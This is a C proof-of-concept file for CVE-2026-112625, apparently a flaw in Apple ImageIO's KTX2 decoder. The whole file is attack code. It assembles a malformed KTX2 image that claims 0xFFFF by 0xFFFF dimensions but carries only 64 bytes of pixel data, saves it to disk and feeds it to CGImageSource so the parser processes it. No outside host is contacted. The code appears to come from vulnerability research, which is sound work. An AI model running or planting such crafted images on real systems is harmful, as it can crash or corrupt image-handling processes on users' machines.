// iio.ktx2 · ImageIO · KTX2ReadPlugin · CVE-2026-112625
// KTX2 oversized dimensions decode
// C twin of the Swift POC: builds the 0xFFFF-dimension KTX2 and decodes it through ImageIO.
// Variant iio.pvr (PVR under-declared bitsPerPixel) is noted in the Swift POC.
// Build: clang -O2 -o cve-2026-112625 CVE-2026-112625.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation
// Run:   ./cve-2026-112625 [dim]

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
    if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }

static void le32(buf *b, uint32_t v) {
    bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff);
}
static void le64(buf *b, uint64_t v) {
    for (int i = 0; i < 8; i++) bput(b, (uint8_t)((v >> (8 * i)) & 0xff));
}

// ── seed construction (from Cinder27 CVE-2026-112625.py: build_ktx2) ──
static buf ktx2_bad_dims(uint32_t dim) {
    buf out = {0};
    bcat(&out, "\xab\x4b\x54\x58\x20\x32\x30\xbb\x0d\x0a\x1a\x0a", 12);   // KTX2 magic
    le32(&out, 0);          // vkFormat 0 → block-compressed via DFD
    le32(&out, 1);          // typeSize
    le32(&out, dim);        // pixelWidth  = 0xFFFF
    le32(&out, dim);        // pixelHeight = 0xFFFF
    le32(&out, 0);          // pixelDepth
    le32(&out, 0);          // layerCount
    le32(&out, 1);          // faceCount
    le32(&out, 1);          // levelCount
    le32(&out, 0);          // supercompressionScheme
    le32(&out, 0); le64(&out, 0);   // kvdByteOffset / kvdByteLength
    le32(&out, 0); le64(&out, 0);   // sgdByteOffset / sgdByteLength
    // one level: byteOffset 0, byteLength 64, uncompressedLength 64
    le64(&out, 0); le64(&out, 64); le64(&out, 64);
    brep(&out, 0, 64);      // level body
    return out;
}

// ── trigger: decode through ImageIO ──
#include <ImageIO/ImageIO.h>
#include <CoreGraphics/CoreGraphics.h>
#include <CoreFoundation/CoreFoundation.h>

static int decode_image(const buf *img, const char **detail) {
    CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n);
    if (!cf) { *detail = "CFDataCreate failed"; return -1; }
    CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL);
    CFRelease(cf);
    if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; }
    size_t frames = CGImageSourceGetCount(src);
    CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL);
    static char r[256];
    if (cg) {
        snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s)",
                 (size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames);
        CGImageRelease(cg);
    } else {
        snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames);
    }
    CFRelease(src);
    *detail = r;
    return cg ? 0 : -1;
}

int main(int argc, char **argv) {
    uint32_t dim = argc > 1 ? (uint32_t)strtoul(argv[1], NULL, 0) : 0xFFFF;

    buf ktx2 = ktx2_bad_dims(dim);
    FILE *f = fopen("ktx2_bad_dims.ktx2", "wb");
    if (f) { fwrite(ktx2.d, 1, ktx2.n, f); fclose(f); }

    const char *detail = NULL;
    int rc = decode_image(&ktx2, &detail);
    printf("CVE-2026-112625 · dims 0x%x x 0x%x, level 64 B · %s\n", dim, dim, detail ? detail : "?");
    printf("seed: ktx2_bad_dims.ktx2 (%zu B) · exit code %d\n", ktx2.n, rc);
    bfree(&ktx2);
    return rc == 0 ? 0 : 1;
}